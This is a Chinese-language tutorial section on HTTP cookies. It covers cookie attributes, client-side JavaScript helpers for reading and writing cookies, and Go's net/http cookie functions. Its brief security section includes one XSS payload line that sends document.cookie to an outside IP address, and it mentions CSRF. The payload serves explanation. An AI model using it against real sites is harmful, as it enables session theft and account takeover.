2.5. cookie
Cookie#
HTTP Cookie(也叫 Web Cookie 或浏览器 Cookie)是服务器发送到用户浏览器并保存在本地的一小块数据,它会在浏览器下次向同一服务器再发起请求时被携带并发送到服务器上。通常,它用于告知服务端两个请求是否来自同一浏览器,如保持用户的登录状态。Cookie 使基于无状态的 HTTP 协议记录稳定的状态信息成为了可能。
cookie 的本质就是 http 的 cookie Header 里面写的数据
例如访问官网,chrome78 网络请求里面的活动请求 header,在 cookie header 第一段数据就是__utmc=110886291, 就是一个 cookie 的键值数据。
:authority: golang.org
:method: GET
:path: /
:scheme: https
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
accept-encoding: gzip, deflate, br
accept-language: zh-CN,zh;q=0.9,en;q=0.8
cache-control: no-cache
cookie: __utmc=110886291; __utmz=110886291.1575179973.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); _ga=GA1.2.284134183.1575179973; _gid=GA1.2.1463361514.1575348908; __utma=110886291.284134183.1575179973.1575367986.1575386541.4; __utmt=1; __utmb=110886291.1.10.1575386541
dnt: 1
pragma: no-cache
sec-fetch-mode: navigate
sec-fetch-site: none
sec-fetch-user: ?1
upgrade-insecure-requests: 1
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
cookie 属性#
名称 | 键名 | 作用 |
---|---|---|
名称 | Name | cookie 的名称 |
内容 | Value | cookie 的值 |
域名 | Domain | cookie 存在的域名 |
路径 | Path | 指定 uri 路径之下生效 |
过期时间 | Expire | 失效时间 |
是否安全 | Secure | 是否只能用于 https |
是否仅用于 http | HttpOnly | 是否仅用于 http 传输 true 时阅览器 document 无法读取 |
http#
在 http 协议中,agent 请求时候一般会自动添加 Cookie Header,值就是 cookie 键值对。
如果服务端修改 cookie,在 Response Header 里面会有 Set-Cookie Header,agent 会根据值来修改自身 cookie。
通过查看 http 请求和响应或者抓包可以发现,请求 cookie header 就是服务端收到的 cookie 数据,而服务端设置 cookie 后,响应里面就有 set-cookie header,值就是服务端设置的属性。
详细情况请看 rfc。
客户端 js 操作 cookie#
简单来说 cookies 就是阅览器里面一个叫做 document.cookie 的全局字符串对象
进入阅览器控制台输入 console.log(document.cookie)
, 回车执行就可以看见当前站点的 cookies。
发现 cookies 就是一段序列化的键值字符串,如果需要操作 cookie,则是通过操作 document.cookie 字符串来达到效果。
阅览器中 cookies 会随 http 请求自动发送,在 request 中会有 cookie 和 Set-Cookie 这两个 header, 里面就是 cookie,h5 的 fetch 需要指定是否发送 cookies, 默认不发送 cookies
js 操作 cookie 数据,直接读写 document.cookie 对象,封装函数如下:
"use strict";
function getCookie(name){
var arr, reg = new RegExp("(^| )" + name + "=([^;]*)(;|$)");
if(arr = document.cookie.match(reg))
return unescape(arr[2]);
else
return null;
}
function setCookie(name, value, expiredays){
var exp = new Date();
exp.setDate(exp.getDate() + expiredays)
document.cookie = name + "=" + escape(value) + ((expiredays==null) ? "" : ";expires=" + exp.toGMTString())
}
function delCookie(name){
var exp = new Date();
exp.setTime(exp.getTime() - 1);
document.cookie = name + "=;expires=" + exp.toGMTString();
}
服务端 go 操作 cookie#
net/http.Cookie 定义:
type Cookie struct {
Name string
Value string
Path string // optional
Domain string // optional
Expires time.Time // optional
RawExpires string // for reading cookies only
// MaxAge=0 means no 'Max-Age' attribute specified.
// MaxAge<0 means delete cookie now, equivalently 'Max-Age: 0'
// MaxAge>0 means Max-Age attribute present and given in seconds
MaxAge int
Secure bool
HttpOnly bool
SameSite SameSite // Go 1.11
Raw string
Unparsed []string // Raw text of unparsed attribute-value pairs
}
查看 net/http 定义的函数,可以发现读 Cookie 实现是读取 Request.Header 里面的 Cookie header;而修改 Cookie 就设置 ResponseWriter.Header () 里面的 Set-Cookie header,例如 setcookie。
Example#
操作 cookie
// 设置Cookie
cookie := http.Cookie{Name: "testcookiename", Value: "testcookievalue", Path: "/", MaxAge: 86400}
http.SetCookie(w, &cookie)
// 读取Cookie
cookie, err := req.Cookie("testcookiename")
// 删除Cookie
cookie := http.Cookie{Name: "testcookiename", Path: "/", MaxAge: -1}
http.SetCookie(w, &cookie)
Get#
net/http.Request.Cookies() []*Cookie
方法就是通过读取 net/http.Request.Header["cookie"]
的值,分析出 cookie 键值对来构造 cookie,每次读取 cookie 都会出来一次,效率调低。
readCookies 函数过长不列出。
Set#
net/http.SetCookie(w ResponseWriter, cookie *Cookie)
方法定义,直接将要设置的 cookie 序列化成字符串,给 response 添加 Set-Cookie Header,添加多个 Cookie 就将 Set-Cookie Header 添加多次。
net/http.Cookie.Srting()
方法就是 Cookie 对象的序列化的方法,会将多种属性组合成字符串。
例如:路径、域名、过期时间、只读、仅 https 这些属性。
以下是 SetCookie 和修改请求 Cookie 的 AddCookie 函数实现:
// SetCookie adds a Set-Cookie header to the provided ResponseWriter's headers.
// The provided cookie must have a valid Name. Invalid cookies may be
// silently dropped.
func SetCookie(w ResponseWriter, cookie *Cookie) {
if v := cookie.String(); v != "" {
w.Header().Add("Set-Cookie", v)
}
}
// AddCookie adds a cookie to the request. Per RFC 6265 section 5.4,
// AddCookie does not attach more than one Cookie header field. That
// means all cookies, if any, are written into the same line,
// separated by semicolon.
func (r *Request) AddCookie(c *Cookie) {
s := fmt.Sprintf("%s=%s", sanitizeCookieName(c.Name), sanitizeCookieValue(c.Value))
if c := r.Header.Get("Cookie"); c != "" {
r.Header.Set("Cookie", c+"; "+s)
} else {
r.Header.Set("Cookie", s)
}
}
安全#
XSS#
XSS 触发后盗取 cookie 信息,然后使用 Cookie 信息操作。
<script>window.open('http://10.65.20.196:8080/cookie.asp?msg='+document.cookie)</script>
CSRF#
cookie 是 CSRF 两种基本触发条件之一。
反馈和交流请加群组:QQ 群 373278915。